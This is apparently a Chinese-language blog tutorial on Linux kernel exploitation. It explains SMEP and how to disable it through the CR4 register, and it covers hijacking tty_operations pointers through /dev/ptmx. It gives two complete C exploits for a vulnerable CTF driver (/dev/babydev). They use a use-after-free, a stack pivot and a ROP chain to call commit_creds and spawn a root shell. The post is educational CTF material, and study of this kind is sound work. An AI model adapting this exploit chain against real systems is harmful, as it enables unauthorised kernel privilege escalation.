给Linus一点小小的Pwn手震撼🤭
前面我们提到 ret2usr
是一种非常便利的Kernel ROP
手法 那当然相关的安全开发工程师又不傻 肯定要针对利用手法做出封堵 于是SMEP保护诞生了
SMEP全称Supervisor Mode Execution Protection
主要就是当CPU处于Ring0
时 执行用户空间的代码会触发页错误
系统一般是通过CR4寄存器的值来判断是否开启SMEP保护 当CR4的第20位为1是保护开启 但是CR4寄存器是可以通过mov执行修改的
所以一般只需要修改CR4寄存器的值即可关闭保护( 一般使用一个固定值0x6f0
)
在/dev
下存在一个伪终端设备ptmx
其主要作用就是和pts(在XWindows下使用的虚拟终端)
一起实现pty(远程虚拟终端)
当我们打开这个设备的时候 会创建一个结构体tty_struct
结构体定义在include/linux/tty.h
中
cstruct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
...
} __randomize_layout;
其余的定义都不是很重要 重要的是这里有个名字比较眼熟的指针tty_operations
与之对比的是file_operations
内部包含了各种文件操作的函数指针 那么同样tty_operations
内部也包含了大量与tty设备交互相关的函数指针
tty_operations
定义在include/linux/tty_drive.h
中
cstruct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
...
} __randomize_layout;
可以看到总体结构和file_operations
类似 那么就由此衍生出来一种攻击手法 可以让我们在可控tty_struct
结构体的条件下 修改tty_operations
指针 导致任意函数执行
这题之前我们在说UAF
的时候用过 主要是逻辑上存在UAF漏洞 之前我们是用cred结构体
实现的提权 这次我们试试使用Ret2Usr
来看看
首先写出来一个大概
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp2.c -o exp2 -static -masm=intel -g
size_t commit_creds;
size_t prepare_kernel_cred;
size_t user_cs,user_ss,user_rflags,user_sp;
#define commit_creds 0xffffffff810a1420
#define prepare_kernel_cred 0xffffffff810a1810
void *tty_operation[30]={0};
void saveStatus()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("Status has been saved...\n");
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
int main(void)
{
saveStatus();
int i=0;
size_t rop[100]={0}; // 先关闭smep
rop[i++]=0xffffffff8100ce6e;// pop rax; ret;
rop[i++]=0x6f0;
rop[i++]=0xffffffff81005bd4;// mov cr4,rax; pop rbp; ret;
rop[i++]=0;
rop[i++]=(size_t)get_root;
rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret;
rop[i++]=0;
rop[i++]=0xffffffff814e35ef;// iretq; ret;
rop[i++]=(size_t)get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
for(i=0;i<30;i++)
{
tty_operation[i]=0xffffffffffffff00+i;
}
tty_operation[7]=0xffffffffc0000130;
size_t tty_struct[4]={0};
read(fd2,tty_struct,32);
tty_struct[3]=(size_t)tty_operation;
write(fd2,tty_struct,32);
char buf[0x8]={0};
write(tty,buf,8);
return 0;
}
这个时候我们已经触发tty_operation[7]
也就是write
了 我们现在将write
自定义为babyread
当我们上手调试的时候回发现一个问题
我们发现rax指向我们的tty_opreation[0]
但是我们的栈不是我们想要的栈啊 那么我们的rop全部都是乱的 那么我们可以利用rax
的值 正好布置好我们需要的栈
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp2.c -o exp2 -static -masm=intel -g
size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0xffffffff810a1420;
size_t prepare_kernel_cred=0xffffffff810a1810;
void *tty_operation[30]={0};
void saveStatus()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("Status has been saved...\n");
}
void get_root()
{
char* (*pkc)(int)=prepare_kernel_cred;
char* (*cc)(char *)=commit_creds;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
int main(void)
{
saveStatus();
int i=0;
// size_t rop[100]={0}; // 先关闭smep
// rop[i++]=0xffffffff810d238d;// pop rax; ret;
// rop[i++]=0x6f0;
// rop[i++]=0xffffffff81004d80;// mov cr4,rax; pop rbp; ret;
// rop[i++]=0xffff880005f8a000;
// rop[i++]=(size_t)get_root;
// rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret;
// rop[i++]=0xffff880005f8a000;
// rop[i++]=0xffffffff814e35ef;// iretq; ret;
// rop[i++]=(size_t)get_shell;
// rop[i++]=user_cs;
// rop[i++]=user_rflags;
// rop[i++]=user_sp;
// rop[i++]=user_ss;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
printf("-----\n%p-------\n",(size_t)get_root);
int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
for(i=0;i<30;i++)
{
tty_operation[i]=0xffffffff8181bfc5;
}
tty_operation[0]=0xffffffff810635f5; // pop rax; pop rbp; ret
tty_operation[1]=(size_t)rop;
tty_operation[3]=0xffffffff8181bfc5; // mov rsp,rax; dec ebs; ret
tty_operation[7]=0xffffffff8181bfc5; // mov rsp,rax; dec ebx; ret // 栈迁移
size_t tty_struct[4]={0};
read(fd2,tty_struct,32);
tty_struct[3]=(size_t)tty_operation;
write(fd2,tty_struct,32);
char buf[0x8]={0};
write(tty,buf,8);
return 0;
}
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!